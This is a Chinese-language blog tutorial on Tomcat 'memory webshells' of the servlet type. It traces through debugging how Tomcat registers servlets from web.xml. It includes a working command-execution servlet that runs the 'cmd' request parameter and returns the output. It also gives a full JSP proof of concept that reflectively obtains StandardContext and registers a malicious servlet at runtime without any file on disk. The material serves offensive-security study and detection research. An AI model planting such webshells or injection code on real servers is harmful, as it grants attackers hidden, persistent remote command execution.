内存马系列--servlet型

传统 Web 应用型内存马:使用基本 Servlet-API 实现的动态注册内存马,此种类型的内存马最经典,已经被扩展至适应各个中间件。

一.项目搭建

搭建一个 java web

  • jdk8u54
  • tomcat 依赖
1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
</dependencies>

二.Servlet

之前我们大概了解过 servlet 是一个中间件,它运行在 tomcat 的 container 容器层次结构的最底层 **Wrapper**** 容器** 中。

先简单回顾调用流程

客户端发起 http 请求,比如 get 类型,服务端启动调用 servlet,servlet 容器将请求信息封装为HttpServletRequest 和<font style="color:rgb(39, 56, 73);">HttpServletResponse</font>对象,这就是所说的传参,然后调用 init 方法初始化——>service 方法——>doGet/doPost——->destroy

接口分析:

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

调用过程能让我们利用的就很明显就是 service 方法了

将恶意的东西写进 service 中,就写好了我们的恶意 servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{

Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
res.getWriter().println(line);
}
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

web.xml 的配置

1
2
3
4
5
6
7
8
9
10
11
<servlet>
<servlet-name>myServlet</servlet-name> <!-- Servlet 的名称 -->
<servlet-class>org.example.servlet.ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

<!-- 2. 映射 Servlet 到 URL -->
<servlet-mapping>
<servlet-name>myServlet</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/myServlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>

启动 tomcat 并访问,成功弹出

三.调试分析

利用处断点分析

下断点访问/myServlet 调试,往前寻找这个 servlet 是在那里进行赋值的

在这里看到是从请求中获取到的 wrapper,wrapper 中有 servlet

获取到 HTTP 请求—–>容器的分析

简单回顾前面与这里连接起来加深印象,学习 filter 型时说到访问 filter 之后,从 fiilterChain 中获取到 filter 链式调用 doFilter 之后会调用 servlet.service 方法,现在看下图这个调用栈确实看到前面是 filter。

继续往前找,看到这个 HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。

所以这一块并不是很重要,都是一些基础的赋值,我们继续往下走,直接到 343 行这里

1
this.getAdapter().service(this.request, this.response);

跟进,我们去到的是 CototeAdapter 类的 service() 方法里, CoyoteAdapter 是 Processor 和 Valve 之间的适配器。后面就没啥看的了,就是接着 filter 的多个 invoke

tips:

  • Processor:协议层(HTTP/HTTP2/AJP)处理网络 I/O,把字节流解析为 org.apache.coyote.Request/Response。
  • Valve:容器层(Engine/Host/Context/Wrapper)的拦截链条,真正调用 Servlet。
  • Adapter:居中把两边对接,将协议层带来的请求转化成实现了 HttpServletRequest、HttpServletResponse 接口的对象,容器层认识的这些对象,就统一了入口。

处理网络请求的这里我们也没有找到哪里有 wrapper,context 的身影啊,因为访问时是触发它,注册的其实是在读取 web.xml 文件配置时。

tips:

servlet 是从 web.xml 中映射加载到的,该类内存马的核心逻辑是:在运行时,动态执行 configureContext 中的 Servlet 注册逻辑,下面就进入调试分析

读取 web.xml 配置文件 StandardWrapper 的装载

首先关注的是怎么从 web.xml 中加载到我们的 servlet

这里的断点位置是 ContextConfig.webConfig(),读取 web.xml 的流程与 Listener 型内存马里面基本类似,但是还是有点不同。

开始调试,首先我们获取到了此项目里面的 web.xml 文件

中间内容是处理 Filter,Listener 等信息的代码,所以这里我们直接跳过,到 1115 行的 configureContext(webXml); 中去

跟进,我们看到 configureContext() 方法也是先获取 Listener,Filter,还有 localeEncodingMappings 等

我们现在关注 ContextConfig 类中 configureContext 方法对 Servlet 的处理,注意这里在 context 中创建了一个 wrapper,然后 servlet 放到 wrapper 中 。因为这是 tomcat 的结构

一般来说 servlet 是在访问时才创建好的,这里先进行预加载,

然后 wrapper 调用方法 setName,setServletClass,设置 name 和全类名

对应的是我们 web.xml 中设置好的

1
2
3
4
5

<servlet>
<servlet-name>myServlet</servlet-name> <!-- Servlet 的名称 -->
<servlet-class>org.example.servlet.ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

上面我们已经将恶意 servlet 放到 wrapper 中了,接着 addChild 方法将 wrapper 添加到 context 中

进去之后调到 super.addChild,它的父类,ContainerBase 是一个抽象类,在父类方法中调用 addChildInternal 方法

addChildInternal 该方法中首先进行日志的判断,这些无关紧要,然后关注到调用了 start 方法

一直跟着调用又回到了最初的起点,见下图调用栈,调到 ConfigureContext 又做了一次封装,

web.xml 中还设置了映射 Servlet 到 URL,是在下面这里调用了 addChild 之后,context 调 addServletMappingDecoded 方法进行写入的,该方法参数一个 pattern,一个 name 刚刚好

web.xml

1
2
3
4
5
<servlet-mapping>
<servlet-name>myServlet</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/myServlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>

总的来说上面做的这些工作都是把 web.xml 里面的数据写到 StandardWrapper 里面

四.构造

先写一个恶意类,jsp 中定义东西用<%! %>这里不写回显了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%!
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}

public void destroy() {
}
}
%>

两次反射获取 standardContext

1
2
3
4
5
6
7
8
9
10
<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);
%>

Wrapper 中 servlet 的信息

1
2
3
4
5
6
7

Servlet memServlet = new MemServlet();
Wrapper wrapper = context1.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(memServlet);

wrapper 放到 context 中

1
2
context1.addChild(wrapper);
context1.addServletMappingDecoded("/memServlet","MemServlet");

完整 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class MemServlet implements Servlet {
private String message;


@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public String getServletInfo() {
return "";
}

public void destroy() {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);


Servlet memServlet = new MemServlet();
Wrapper wrapper = context1.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(memServlet);


context1.addChild(wrapper);
context1.addServletMappingDecoded("/memServlet","MemServlet");
%>





</body>
</html>

访问 addServlet.jsp,先成功写进去

再访问设置的路径,成功执行


内存马系列--servlet型
https://bxhhf.github.io/2025/12/07/yuque-hexo-post/内存马系列--servlet/
作者
bxhhf
发布于
2025年12月7日
许可协议